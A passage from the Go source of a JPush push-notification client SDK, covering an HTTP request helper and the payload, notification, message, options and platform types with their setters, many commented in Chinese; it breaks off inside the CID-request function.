173 | h.req.Body = rc
174 | }
175 | }
176 | case url.Values:
177 | h.req.Body = io.NopCloser(bytes.NewBufferString(b.Encode()))
178 | h.req.ContentLength = int64(len(b.Encode()))
179 | case map[string]interface{}:
180 | v := url.Values{}
181 | for k, val := range b {
182 | switch val.(type) {
183 | case string:
184 | v.Set(k, val.(string))
185 | case bool:
186 | v.Set(k, strconv.FormatBool(val.(bool)))
187 | case int, int8, int16, int32, int64:
188 | v.Set(k, strconv.FormatInt(int64(val.(int)), 10))
189 | case uint, uint8, uint16, uint32, uint64:
190 | v.Set(k, strconv.FormatUint(uint64(val.(uint)), 10))
191 | case float32:
192 | v.Set(k, strconv.FormatFloat(float64(val.(float32)), 'f', -1, 32))
193 | case float64:
194 | v.Set(k, strconv.FormatFloat(val.(float64), 'f', -1, 64))
195 | }
196 | }
197 | h.req.Body = io.NopCloser(bytes.NewBufferString(v.Encode()))
198 | h.req.ContentLength = int64(len(v.Encode()))
199 | default:
200 | if v, ok := body.(io.ReadCloser); ok {
201 | h.req.Body = v
202 | } else {
203 | h.req.Body = io.NopCloser(bytes.NewBuffer([]byte(fmt.Sprintf("%v", body))))
204 | }
205 | }
206 |
207 | return h
208 | }
209 |
210 | // GetHeader returns header data.
211 | func (h *HttpRequest) GetHeader() http.Header {
212 | return h.req.Header
213 | }
214 |
215 | // GetCookie returns the request cookies.
216 | func (h *HttpRequest) GetCookie(key string) string {
217 | for _, cookie := range h.req.Cookies() {
218 | if cookie.Name == key {
219 | return cookie.Value
220 | }
221 | }
222 | return ""
223 | }
224 |
225 | // GetParam returns the request parameter value according to its key.
226 | func (h *HttpRequest) GetParam(key string) string {
227 | return h.params[key]
228 | }
229 |
230 | // getResponse executes the request and returns the response.
231 | func (h *HttpRequest) getResponse() (*http.Response, error) {
232 | var paramBody string
233 | if len(h.params) > 0 {
234 | v := url.Values{}
235 | for k, val := range h.params {
236 | v.Set(k, val)
237 | }
238 | paramBody = v.Encode()
239 | }
240 |
241 | if h.req.Body != nil {
242 | if strings.Contains(h.req.Header.Get("Content-Type"), "application/x-www-form-urlencoded") {
243 | b, _ := io.ReadAll(h.req.Body)
244 | paramBody = string(b) + "&" + paramBody
245 | } else {
246 | return nil, errors.New("please use SetBody method instead")
247 | }
248 | }
249 |
250 | if h.req.Method == "GET" && len(paramBody) > 0 {
251 | if strings.Contains(h.url, "?") {
252 | h.url += "&" + paramBody
253 | } else {
254 | h.url += "?" + paramBody
255 | }
256 | } else if h.req.Method == "POST" && h.req.Body == nil && len(paramBody) > 0 {
257 | h.SetHeader("Content-Type", "application/x-www-form-urlencoded")
258 | h.SetBody(paramBody)
259 | }
260 |
261 | parse, err := url.Parse(h.url)
262 | if err != nil {
263 | return nil, err
264 | }
265 |
266 | if parse.Scheme == "" {
267 | h.url = "http://" + h.url
268 | parse, err = parse.Parse(h.url)
269 | if err != nil {
270 | return nil, err
271 | }
272 | }
273 |
274 | h.req.URL = parse
275 | trans := h.transport
276 |
277 | if trans == nil {
278 | trans = &http.Transport{
279 | TLSClientConfig: h.tlsConfig,
280 | Proxy: h.proxy,
281 | DialContext: TimeoutDialer(h.connectTimeout, h.readWriteTimeout),
282 | }
283 | } else {
284 | if t, ok := trans.(*http.Transport); ok {
285 | if t.TLSClientConfig == nil {
286 | t.TLSClientConfig = h.tlsConfig
287 | }
288 |
289 | if t.Proxy == nil {
290 | t.Proxy = h.proxy
291 | }
292 |
293 | if t.DialContext == nil {
294 | t.DialContext = TimeoutDialer(h.connectTimeout, h.readWriteTimeout)
295 | }
296 | }
297 | }
298 |
299 | client := &http.Client{
300 | Transport: trans,
301 | }
302 |
303 | resp, err := client.Do(h.req)
304 | if err != nil {
305 | return nil, err
306 | }
307 |
308 | return resp, nil
309 | }
310 |
311 | // TimeoutDialer returns functions of connection dialer with timeout settings for http.Transport Dial field.
312 | func TimeoutDialer(connectTimeout time.Duration, readWriteTimeout time.Duration) func(ctx context.Context, network, addr string) (c net.Conn, err error) {
313 | return func(ctx context.Context, network, addr string) (net.Conn, error) {
314 | conn, err := (&net.Dialer{
315 | Timeout: connectTimeout,
316 | KeepAlive: connectTimeout,
317 | }).DialContext(ctx, network, addr) // DialContext is available since Go 1.7
318 |
319 | if err != nil {
320 | return nil, err
321 | }
322 |
323 | if readWriteTimeout > 0 {
324 | err = conn.SetDeadline(time.Now().Add(readWriteTimeout)) // Set read/write timeout
325 | if err != nil {
326 | return nil, err
327 | }
328 | }
329 |
330 | return conn, nil
331 | }
332 | }
333 |
334 | // Response executes request client gets response in the return.
335 | func (h *HttpRequest) Response() (*http.Response, error) {
336 | return h.getResponse()
337 | }
338 |
339 | // Bytes executes request client gets response body in bytes.
340 | func (h *HttpRequest) Bytes() ([]byte, error) {
341 | resp, err := h.getResponse()
342 | if err != nil {
343 | return nil, err
344 | }
345 | if resp.Body == nil {
346 | return nil, nil
347 | }
348 | defer resp.Body.Close()
349 | return io.ReadAll(resp.Body)
350 | }
351 |
352 | // String returns the body string in response.
353 | // it calls Response internally.
354 | func (h *HttpRequest) String() (string, error) {
355 | data, err := h.Bytes()
356 | if err != nil {
357 | return "", err
358 | }
359 | return string(data), nil
360 | }
361 |
362 | // Status returns the response status.
363 | func (h *HttpRequest) Status() int {
364 | resp, _ := h.Response()
365 | return resp.StatusCode
366 | }
367 |
368 | // ToFile saves the body data in response to one file.
369 | func (h *HttpRequest) ToFile(file string) error {
370 | resp, err := h.Response()
371 | if err != nil {
372 | return err
373 | }
374 | defer resp.Body.Close()
375 | f, err := os.Create(file)
376 | if err != nil {
377 | return err
378 | }
379 | defer f.Close()
380 | _, err = io.Copy(f, resp.Body)
381 | return err
382 | }
383 |
384 | // ToJson returns the map that converted from response body bytes as json in response .
385 | func (h *HttpRequest) ToJson(v interface{}) error {
386 | data, err := h.Bytes()
387 | if err != nil {
388 | return err
389 | }
390 | return json.Unmarshal(data, v)
391 | }
392 |
393 | // ToXml returns the map that converted from response body bytes as xml in response .
394 | func (h *HttpRequest) ToXml(v interface{}) error {
395 | data, err := h.Bytes()
396 | if err != nil {
397 | return err
398 | }
399 | return xml.Unmarshal(data, v)
400 | }
401 |
--------------------------------------------------------------------------------
/live_activity.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | type LiveActivity struct {
4 | Ios *IosLiveActivity `json:"ios,omitempty"`
5 | }
6 |
7 | type IosLiveActivity struct {
8 | Event string `json:"event"` // 开始:“start”,更新:“update”,结束:"end"。
9 | ContentState interface{} `json:"content-state"` // 需与客户端 SDK 值匹配(对应 Apple 官方的 content-state 字段)。
10 | AttributesType string `json:"attributes-type"` // 创建实时活动事件必填(更新或者结束实时活动无需传递),字段规则:由数字,字母,下划线组成,但是不能以数字开头;对应 Apple 官方的 attributes-type 字段
11 | Attributes interface{} `json:"attributes"` // 创建实时活动事件必填(更新或者结束实时活动无需传递);对应 Apple 官方的 attributes 字段
12 | RelevanceScore int `json:"relevance-score,omitempty"` // 对应 Apple 官方的 relevance-score 字段
13 | StaleDate int `json:"stale-date,omitempty"` // 对应 Apple 官方的 stale-date 字段
14 | Alert *IosLiveActivityAlert `json:"alert,omitempty"` // 通知内容
15 | DismissalDate int `json:"dismissal-date,omitempty"` // 实时活动结束展示时间。
16 | }
17 |
18 | type IosLiveActivityAlert struct {
19 | Title string `json:"title,omitempty"` // 标题
20 | Body string `json:"body,omitempty"` // 内容
21 | Sound string `json:"sound,omitempty"` // 声音
22 | }
23 |
--------------------------------------------------------------------------------
/message.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | type Message struct {
4 | MsgContent string `json:"msg_content"` // 消息内容本身
5 | Title string `json:"title,omitempty"` // 消息标题
6 | ContentType string `json:"content_type,omitempty"` // 消息内容类型
7 | Extras map[string]interface{} `json:"extras,omitempty"` // JSON 格式的可选参数
8 | }
9 |
10 | // InappMessage inapp_message 面向于通知栏消息类型,对于通知权限关闭的用户可设置启用此功能。此功能启用后,当用户前台运行APP时,会通过应用内消息的方式展示通知栏消息内容。
11 | type InappMessage struct {
12 | InAppMessage bool `json:"inapp_message"`
13 | }
14 |
15 | type SmsMessage struct {
16 | DelayTime int `json:"delay_time"` // 单位为秒,不能超过24小时。设置为0,表示立即发送短信。该参数仅对 android 和 iOS 平台有效,Winphone 平台则会立即发送短信。
17 | Signid int `json:"signid,omitempty"` // 签名ID,该字段为空则使用应用默认签名。
18 | TempId int64 `json:"temp_id,omitempty"` // 短信补充的内容模板 ID。没有填写该字段即表示不使用短信补充功能。
19 | TempPara interface{} `json:"temp_para,omitempty"` // 短信模板中的参数。
20 | ActiveFilter bool `json:"active_filter"` // active_filter 字段用来控制是否对补发短信的用户进行活跃过滤,默认为 true ,做活跃过滤;为 false,则不做活跃过滤;
21 | }
22 |
23 | // SetContent 设置消息内容
24 | func (m *Message) SetContent(content string) {
25 | m.MsgContent = content
26 | }
27 |
28 | // SetTitle 设置消息标题
29 | func (m *Message) SetTitle(title string) {
30 | m.Title = title
31 | }
32 |
33 | // SetContentType 设置消息内容类型
34 | func (m *Message) SetContentType(contentType string) {
35 | m.ContentType = contentType
36 | }
37 |
38 | // SetExtras 设置消息扩展内容
39 | func (m *Message) SetExtras(extras map[string]interface{}) {
40 | m.Extras = extras
41 | }
42 |
43 | // AddExtras 添加消息扩展内容
44 | func (m *Message) AddExtras(key string, value interface{}) {
45 | if m.Extras == nil {
46 | m.Extras = make(map[string]interface{})
47 | }
48 | m.Extras[key] = value
49 | }
50 |
51 | // SetInAppMessage 设置是否启用应用内消息
52 | func (i *InappMessage) SetInAppMessage(inAppMessage bool) {
53 | i.InAppMessage = inAppMessage
54 | }
55 |
56 | // SetDelayTime 设置短信发送延时时间
57 | func (s *SmsMessage) SetDelayTime(delayTime int) {
58 | s.DelayTime = delayTime
59 | }
60 |
61 | // SetSignid 设置短信签名ID
62 | func (s *SmsMessage) SetSignid(signid int) {
63 | s.Signid = signid
64 | }
65 |
66 | // SetTempId 设置短信模板ID
67 | func (s *SmsMessage) SetTempId(tempId int64) {
68 | s.TempId = tempId
69 | }
70 |
71 | // SetTempPara 设置短信模板参数
72 | func (s *SmsMessage) SetTempPara(tempPara interface{}) {
73 | s.TempPara = tempPara
74 | }
75 |
76 | // SetActiveFilter 设置是否对补发短信的用户进行活跃过滤
77 | func (s *SmsMessage) SetActiveFilter(activeFilter bool) {
78 | s.ActiveFilter = activeFilter
79 | }
80 |
--------------------------------------------------------------------------------
/notification.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | type Notification struct {
4 | AiOpportunity bool `json:"ai_opportunity,omitempty"` // 如需采用“智能时机”策略下发通知,必须指定该字段。
5 | Alert string `json:"alert,omitempty"` // 通知的内容在各个平台上,都可能只有这一个最基本的属性 "alert"。
6 | Android *AndroidNotification `json:"android,omitempty"` // Android通知
7 | Ios *IosNotification `json:"ios,omitempty"` // iOS通知
8 | QuickApp *QuickAppNotification `json:"quick_app,omitempty"` // 快应用通知
9 | WinPhone *WinPhoneNotification `json:"winphone,omitempty"` // Windows Phone通知
10 | Voip map[string]interface{} `json:"voip,omitempty"` // iOS VOIP功能。
11 | }
12 |
13 | type AndroidNotification struct {
14 | Alert interface{} `json:"alert"` // 通知内容
15 | Title interface{} `json:"title,omitempty"` // 通知标题
16 | BuilderID int `json:"builder_id,omitempty"` // 通知栏样式 ID
17 | ChannelId string `json:"channel_id,omitempty"` // android通知channel_id
18 | Priority int `json:"priority,omitempty"` // 通知栏展示优先级, 默认为 0,范围为 -2~2。
19 | Category string `json:"category,omitempty"` // 通知栏条目过滤或排序
20 | Style int `json:"style,omitempty"` // 通知栏样式类型, 默认为 0,还有 1,2,3 可选
21 | AlertType int `json:"alert_type,omitempty"` // 通知提醒方式, 可选范围为 -1~7
22 | BigText string `json:"big_text,omitempty"` // 大文本通知栏样式, 当 style = 1 时可用,内容会被通知栏以大文本的形式展示出来
23 | Inbox interface{} `json:"inbox,omitempty"` // 文本条目通知栏样式, 当 style = 2 时可用, json 的每个 key 对应的 value 会被当作文本条目逐条展示
24 | BigPicPath string `json:"big_pic_path,omitempty"` // 大图片通知栏样式, 当 style = 3 时可用,可以是网络图片 url,或本地图片的 path
25 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段
26 | LargeIcon string `json:"large_icon,omitempty"` // 通知栏大图标
27 | SmallIconUri string `json:"small_icon_uri,omitempty"` // 通知栏小图标
28 | Intent interface{} `json:"intent,omitempty"` // 指定跳转页面
29 | UriActivity string `json:"uri_activity,omitempty"` // 指定跳转页面, 该字段用于指定开发者想要打开的 activity,值为 activity 节点的 “android:name”属性值; 适配华为、小米、vivo厂商通道跳转;
30 | UriAction string `json:"uri_action,omitempty"` // 指定跳转页面, 该字段用于指定开发者想要打开的 activity,值为 "activity"-"intent-filter"-"action" 节点的 "android:name" 属性值; 适配 oppo、fcm跳转;
31 | BadgeAddNum int `json:"badge_add_num,omitempty"` // 角标数字,取值范围1-99
32 | BadgeClass string `json:"badge_class,omitempty"` // 桌面图标对应的应用入口Activity类, 配合badge_add_num使用,二者需要共存,缺少其一不可;
33 | Sound string `json:"sound,omitempty"` // 填写Android工程中/res/raw/路径下铃声文件名称,无需文件名后缀
34 | ShowBeginTime string `json:"show_begin_time,omitempty"` //定时展示开始时间(yyyy-MM-dd HH:mm:ss)
35 | ShowEndTime string `json:"show_end_time,omitempty"` //定时展示结束时间(yyyy-MM-dd HH:mm:ss)
36 | DisplayForeground string `json:"display_foreground,omitempty"` //APP在前台,通知是否展示, 值为 "1" 时,APP 在前台会弹出通知栏消息;值为 "0" 时,APP 在前台不会弹出通知栏消息。
37 | }
38 |
39 | type IosNotification struct {
40 | Alert interface{} `json:"alert"` // 通知内容
41 | Sound interface{} `json:"sound,omitempty"` // 通知提示声音或警告通知
42 | Badge interface{} `json:"badge,omitempty"` // 应用角标, 如果不填,表示不改变角标数字,否则把角标数字改为指定的数字;为 0 表示清除。
43 | ContentAvailable bool `json:"content-available,omitempty"` // 推送唤醒
44 | MutableContent bool `json:"mutable-content,omitempty"` // 通知扩展
45 | Category string `json:"category,omitempty"` // 通知类别, IOS 8 才支持。设置 APNs payload 中的 "category" 字段值
46 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段
47 | ThreadId string `json:"thread-id,omitempty"` // 通知分组, ios 的远程通知通过该属性来对通知进行分组,同一个 thread-id 的通知归为一组。
48 | InterruptionLevel string `json:"interruption-level,omitempty"` // 通知优先级和交付时间的中断级别, ios15 的通知级别,取值只能是active,critical,passive,timeSensitive中的一个。
49 | }
50 |
51 | type QuickAppNotification struct {
52 | Title string `json:"title"` // 通知标题, 必填字段,快应用推送通知的标题
53 | Alert string `json:"alert"` // 通知内容, 这里指定了,则会覆盖上级统一指定的 alert 信息。
54 | Page string `json:"page"` // 通知跳转页面, 必填字段,快应用通知跳转地址。
55 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段, 这里自定义 Key / value 信息,以供业务使用。
56 | }
57 |
58 | type WinPhoneNotification struct {
59 | Alert string `json:"alert"` // 通知内容, 必填字段,会填充到 toast 类型 text2 字段上。这里指定了,将会覆盖上级统一指定的 alert 信息;内容为空则不展示到通知栏。
60 | Title string `json:"title,omitempty"` // 通知标题, 会填充到 toast 类型 text1 字段上。
61 | OpenPage string `json:"_open_page,omitempty"` // 点击打开的页面名称, 点击打开的页面。会填充到推送信息的 param 字段上,表示由哪个 App 页面打开该通知。可不填,则由默认的首页打开。
62 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段, 这里自定义 Key / value 信息,以供业务使用。
63 | }
64 |
65 | // SetAlert 设置通知内容
66 | func (n *Notification) SetAlert(alert string) {
67 | n.Alert = alert
68 | }
69 |
70 | // SetAiOpportunity 设置智能推送是否开启
71 | func (n *Notification) SetAiOpportunity(use bool) {
72 | n.AiOpportunity = use
73 | }
74 |
75 | // SetAndroid 设置 Android 通知
76 | func (n *Notification) SetAndroid(android *AndroidNotification) {
77 | n.Android = android
78 | }
79 |
80 | // SetIos 设置 iOS 通知
81 | func (n *Notification) SetIos(ios *IosNotification) {
82 | n.Ios = ios
83 | }
84 |
85 | // SetQuickApp 设置 QuickApp 通知
86 | func (n *Notification) SetQuickApp(quickApp *QuickAppNotification) {
87 | n.QuickApp = quickApp
88 | }
89 |
90 | // SetWinPhone 设置 WinPhone 通知
91 | func (n *Notification) SetWinPhone(winPhone *WinPhoneNotification) {
92 | n.WinPhone = winPhone
93 | }
94 |
95 | // SetVoip 设置 Voip 通知
96 | func (n *Notification) SetVoip(value map[string]interface{}) {
97 | n.Voip = value
98 | }
99 |
--------------------------------------------------------------------------------
/notification_3rd.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import "errors"
4 |
5 | type Notification3rd struct {
6 | Title string `json:"title,omitempty"` // 补发通知标题,如果为空则默认为应用名称
7 | Content string `json:"content"` // 补发通知的内容,如果存在 notification_3rd 这个key,content 字段不能为空,且值不能为空字符串。
8 | ChannelId string `json:"channel_id,omitempty"` // 不超过1000字节
9 | UriActivity string `json:"uri_activity,omitempty"` // 该字段用于指定开发者想要打开的 activity,值为 activity 节点的 “android:name”属性值;适配华为、小米、vivo厂商通道跳转;针对 VIP 厂商通道用户使用生效。
10 | UriAction string `json:"uri_action,omitempty"` // 指定跳转页面;该字段用于指定开发者想要打开的 activity,值为 "activity"-"intent-filter"-"action" 节点的 "android:name" 属性值;适配 oppo、fcm跳转;针对 VIP 厂商通道用户使用生效。
11 | BadgeAddNum string `json:"badge_add_num,omitempty"` // 角标数字,取值范围1-99
12 | BadgeClass string `json:"badge_class,omitempty"` // 桌面图标对应的应用入口Activity类, 比如“com.test.badge.MainActivity;
13 | Sound string `json:"sound,omitempty"` // 填写Android工程中/res/raw/路径下铃声文件名称,无需文件名后缀;注意:针对Android 8.0以上,当传递了channel_id 时,此属性不生效。
14 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段;这里自定义 JSON 格式的 Key / Value 信息,以供业务使用。
15 | }
16 |
17 | // SetTitle 设置标题
18 | func (n *Notification3rd) SetTitle(title string) {
19 | n.Title = title
20 | }
21 |
22 | // SetContent 设置内容
23 | func (n *Notification3rd) SetContent(content string) error {
24 | if len(content) == 0 {
25 | return errors.New("content is empty")
26 | }
27 | n.Content = content
28 | return nil
29 | }
30 |
31 | // SetChannelId 设置通道ID
32 | func (n *Notification3rd) SetChannelId(channelId string) {
33 | n.ChannelId = channelId
34 | }
35 |
36 | // SetUriActivity 设置uri_activity
37 | func (n *Notification3rd) SetUriActivity(uriActivity string) {
38 | n.UriActivity = uriActivity
39 | }
40 |
41 | // SetUriAction 设置uri_action
42 | func (n *Notification3rd) SetUriAction(uriAction string) {
43 | n.UriAction = uriAction
44 | }
45 |
46 | // SetBadgeAddNum 设置角标数字
47 | func (n *Notification3rd) SetBadgeAddNum(badgeAddNum string) {
48 | n.BadgeAddNum = badgeAddNum
49 | }
50 |
51 | // SetBadgeClass 设置桌面图标对应的应用入口Activity类
52 | func (n *Notification3rd) SetBadgeClass(badgeClass string) {
53 | n.BadgeClass = badgeClass
54 | }
55 |
56 | // SetSound 设置铃声
57 | func (n *Notification3rd) SetSound(sound string) {
58 | n.Sound = sound
59 | }
60 |
61 | // SetExtras 设置扩展字段
62 | func (n *Notification3rd) SetExtras(extras map[string]interface{}) {
63 | n.Extras = extras
64 | }
65 |
--------------------------------------------------------------------------------
/options.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | type Options struct {
4 | SendNo int `json:"sendno,omitempty"` //推送序号
5 | TimeToLive int `json:"time_to_live,omitempty"` //离线消息保留时长(秒)
6 | OverrideMsgId int `json:"override_msg_id,omitempty"` //要覆盖的消息 ID
7 | ApnsProduction bool `json:"apns_production"` //APNs 是否生产环境
8 | ApnsCollapseId string `json:"apns_collapse_id,omitempty"` //更新 iOS 通知的标识符
9 | BigPushDuration int `json:"big_push_duration,omitempty"` //定速推送时长(分钟)
10 | ThirdPartyChannel ThirdPartyChannel `json:"third_party_channel,omitempty"` //推送请求下发通道
11 | }
12 |
13 | type ThirdChannelType string
14 |
15 | func (t ThirdChannelType) String() string {
16 | return string(t)
17 | }
18 |
19 | const (
20 | XIAOMI ThirdChannelType = "xiaomi"
21 | HUAWEI ThirdChannelType = "huawei"
22 | MEIZU ThirdChannelType = "meizu"
23 | OPPO ThirdChannelType = "oppo"
24 | VIVO ThirdChannelType = "vivo"
25 | FCM ThirdChannelType = "fcm"
26 | )
27 |
28 | type ThirdPartyOptions struct {
29 | Distribution string `json:"distribution,omitempty"` //通知栏消息下发逻辑
30 | DistributionFcm string `json:"distribution_fcm,omitempty"` //通知栏消息fcm+国内厂商组合类型下发逻辑
31 | DistributionCustomize string `json:"distribution_customize,omitempty"` //自定义消息国内厂商类型下发逻辑
32 | ChannelId string `json:"channel_id"` //通知栏消息分类
33 | SkipQuota bool `json:"skip_quota"` //配额判断及扣除, 目前仅对小米和oppo有效
34 | Classification int `json:"classification,omitempty"` //通知栏消息分类, 为了适配 vivo 手机厂商通知栏消息分类,“0”代表运营消息,“1”代表系统消息
35 | PushMode int `json:"push_mode,omitempty"` //通知栏消息类型, 对应 vivo 的 pushMode 字段,值分别是:“0”表示正式推送;“1”表示测试推送,不填默认为0
36 | Importance string `json:"importance,omitempty"` //华为通知栏消息智能分类, 为了适配华为手机厂商的通知栏消息智能分类
37 | Urgency string `json:"urgency,omitempty"` //华为厂商自定义消息优先级, 为了适配华为手机厂商自定义消息的优先级
38 | Category string `json:"category,omitempty"` //华为厂商自定义消息场景标识
39 | LargeIcon string `json:"large_icon,omitempty"` //厂商消息大图标样式, 目前支持小米/华为/oppo三个厂商
40 | SmallIconUri string `json:"small_icon_uri,omitempty"` //厂商消息小图标样式, 目前支持小米/华为两个厂商
41 | SmallIconColor string `json:"small_icon_color,omitempty"` //小米厂商小图标样式颜色
42 | Style int `json:"style,omitempty"` //厂商消息大文本/inbox/大图片样式
43 | BigText string `json:"big_text,omitempty"` //厂商消息大文本样式
44 | Inbox interface{} `json:"inbox,omitempty"` //厂商消息inbox样式, 目前支持华为厂商
45 | BigPicPath string `json:"big_pic_path,omitempty"` //厂商big_pic_path, 为了适配厂商的消息大图片样式,目前支持小米/oppo两个厂商
46 | OnlyUseVendorStyle bool `json:"only_use_vendor_style,omitempty"` //是否是否使用自身通道设置样式
47 | CallbackId string `json:"callback_id,omitempty"` // vivo厂商通道回调ID
48 | }
49 |
50 | type ThirdPartyChannel map[string]ThirdPartyOptions
51 |
52 | // SetSendNo 设置消息的发送编号,用来覆盖推送时由 JPush 生成的编号。
53 | func (o *Options) SetSendNo(sendNo int) {
54 | o.SendNo = sendNo
55 | }
56 |
57 | // SetTimeToLive 设置消息的有效期,单位为秒。
58 | func (o *Options) SetTimeToLive(timeToLive int) {
59 | o.TimeToLive = timeToLive
60 | }
61 |
62 | // SetOverrideMsgId 设置覆盖推送时由 JPush 生成的消息 ID。
63 | func (o *Options) SetOverrideMsgId(overrideMsgId int) {
64 | o.OverrideMsgId = overrideMsgId
65 | }
66 |
67 | // SetApnsProduction 设置推送时 APNs 是否生产环境。
68 | func (o *Options) SetApnsProduction(apnsProduction bool) {
69 | o.ApnsProduction = apnsProduction
70 | }
71 |
72 | // SetBigPushDuration 设置大推送时长,单位为秒。
73 | func (o *Options) SetBigPushDuration(bigPushDuration int) {
74 | o.BigPushDuration = bigPushDuration
75 | }
76 |
77 | // AddThirdPartyChannel 添加第三方渠道。
78 | func (o *Options) AddThirdPartyChannel(channel ThirdChannelType, value ThirdPartyOptions) {
79 | if o.ThirdPartyChannel == nil {
80 | o.ThirdPartyChannel = make(ThirdPartyChannel)
81 | }
82 | o.ThirdPartyChannel[channel.String()] = value
83 | }
84 |
--------------------------------------------------------------------------------
/payload.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import "encoding/json"
4 |
5 | type PayLoad struct {
6 | Platform *Platform `json:"platform"` // 平台
7 | Audience *Audience `json:"audience"` // 推送目标
8 | Notification *Notification `json:"notification,omitempty"` // 推送内容
9 | Message *Message `json:"message,omitempty"` // 推送内容
10 | LiveActivity *LiveActivity `json:"live_activity,omitempty"` // 实时推送内容
11 | Options *Options `json:"options,omitempty"` // 推送选项
12 | Cid string `json:"cid,omitempty"` // 推送唯一标识符
13 | }
14 |
15 | // NewPayLoad 创建一个新的推送对象
16 | func NewPayLoad() *PayLoad {
17 | p := &PayLoad{}
18 | p.Options = &Options{}
19 | p.Options.ApnsProduction = false
20 | return p
21 | }
22 |
23 | // SetPlatform 设置平台
24 | func (p *PayLoad) SetPlatform(platform *Platform) {
25 | p.Platform = platform
26 | }
27 |
28 | // SetAudience 设置推送目标
29 | func (p *PayLoad) SetAudience(audience *Audience) {
30 | p.Audience = audience
31 | }
32 |
33 | // SetNotification 设置推送内容
34 | func (p *PayLoad) SetNotification(notification *Notification) {
35 | p.Notification = notification
36 | }
37 |
38 | // SetMessage 设置推送内容
39 | func (p *PayLoad) SetMessage(message *Message) {
40 | p.Message = message
41 | }
42 |
43 | // SetOptions 设置推送选项
44 | func (p *PayLoad) SetOptions(options *Options) {
45 | p.Options = options
46 | }
47 |
48 | // SetLiveActivity 设置实时推送内容
49 | func (p *PayLoad) SetLiveActivity(liveActivity *LiveActivity) {
50 | p.LiveActivity = liveActivity
51 | }
52 |
53 | // Bytes 返回推送对象的json字节数组
54 | func (p *PayLoad) Bytes() ([]byte, error) {
55 | payload := struct {
56 | Platform interface{} `json:"platform"`
57 | Audience interface{} `json:"audience"`
58 | Notification *Notification `json:"notification,omitempty"`
59 | Message *Message `json:"message,omitempty"`
60 | LiveActivity *LiveActivity `json:"live_activity,omitempty"`
61 | Options *Options `json:"options,omitempty"`
62 | Cid string `json:"cid,omitempty"`
63 | }{
64 | Platform: p.Platform.Interface(),
65 | Audience: p.Audience.Interface(),
66 | Notification: p.Notification,
67 | Message: p.Message,
68 | LiveActivity: p.LiveActivity,
69 | Options: p.Options,
70 | Cid: p.Cid,
71 | }
72 | return json.Marshal(payload)
73 | }
74 |
--------------------------------------------------------------------------------
/platform.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import "errors"
4 |
5 | type PlatformType string
6 |
7 | const (
8 | IOS PlatformType = "ios"
9 | ANDROID PlatformType = "android"
10 | WINPHONE PlatformType = "winphone"
11 | )
12 |
13 | type Platform struct {
14 | Os interface{}
15 | osArray []string
16 | }
17 |
18 | func (p *Platform) Interface() interface{} {
19 | switch p.Os.(type) {
20 | case string:
21 | return p.Os
22 | default:
23 | }
24 | return p.osArray
25 | }
26 |
27 | // All set all platforms
28 | func (p *Platform) All() {
29 | p.Os = "all"
30 | }
31 |
32 | // Add platform
33 | func (p *Platform) Add(os PlatformType) error {
34 | if p.osArray == nil {
35 | p.osArray = make([]string, 0)
36 | }
37 |
38 | switch p.Os.(type) {
39 | case string:
40 | return errors.New("platform already set all")
41 | default:
42 | }
43 |
44 | // check if already added
45 | for _, v := range p.osArray {
46 | if v == string(os) {
47 | return nil
48 | }
49 | }
50 |
51 | switch os {
52 | case IOS:
53 | fallthrough
54 | case ANDROID:
55 | fallthrough
56 | case WINPHONE:
57 | p.osArray = append(p.osArray, string(os))
58 | p.Os = p.osArray
59 | default:
60 | return errors.New("invalid platform")
61 | }
62 |
63 | return nil
64 | }
65 |
66 | // AddIOS add ios platform
67 | func (p *Platform) AddIOS() {
68 | _ = p.Add(IOS)
69 | }
70 |
71 | // AddAndroid add android platform
72 | func (p *Platform) AddAndroid() {
73 | _ = p.Add(ANDROID)
74 | }
75 |
76 | // AddWinphone add winphone platform
77 | func (p *Platform) AddWinphone() {
78 | _ = p.Add(WINPHONE)
79 | }
80 |
81 | // Remove remove platform
82 | func (p *Platform) Remove(os PlatformType) error {
83 | if p.osArray == nil {
84 | return errors.New("platform not set")
85 | }
86 |
87 | for i, v := range p.osArray {
88 | if v == string(os) {
89 | p.osArray = append(p.osArray[:i], p.osArray[i+1:]...)
90 | if len(p.osArray) == 0 {
91 | p.Os = nil
92 | } else {
93 | p.Os = p.osArray
94 | }
95 | return nil
96 | }
97 | }
98 |
99 | return errors.New("platform not found")
100 | }
101 |
--------------------------------------------------------------------------------
/pushclient.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import (
4 | "encoding/json"
5 | "errors"
6 | "strconv"
7 | "strings"
8 | "time"
9 | )
10 |
11 | type JPushClient struct {
12 | AppKey string // app key
13 | MasterSecret string // master secret
14 | }
15 |
16 | const (
17 | SUCCESS_FLAG = "msg_id"
18 | SMS = "https://api.sms.jpush.cn/v1/messages"
19 | HOST_PUSH = "https://api.jpush.cn/v3/push"
20 | HOST_SCHEDULE = "https://api.jpush.cn/v3/schedules"
21 | HOST_REPORT = "https://report.jpush.cn/v3/received"
22 | HOST_CID = "https://api.jpush.cn/v3/push/cid"
23 | HOST_IMAGES = "https://api.jpush.cn/v3/images"
24 | )
25 |
26 | // NewJPushClient returns a new JPushClient
27 | func NewJPushClient(appKey string, masterSecret string) *JPushClient {
28 | return &JPushClient{AppKey: appKey, MasterSecret: masterSecret}
29 | }
30 |
31 | // GetAuthorization returns the authorization string
32 | func (j *JPushClient) GetAuthorization() string {
33 | return j.AppKey + ":" + j.MasterSecret
34 | }
35 |
36 | // GetCid returns the cid list as byte array
37 | func (j *JPushClient) GetCid(count int, push_type string) ([]byte, error) {
38 | req := Get(HOST_CID)
39 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second)
40 | req.SetHeader("Connection", "Keep-Alive")
41 | req.SetHeader("Charset", CHARSET)
42 | req.SetBasicAuth(j.AppKey, j.MasterSecret)
43 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON)
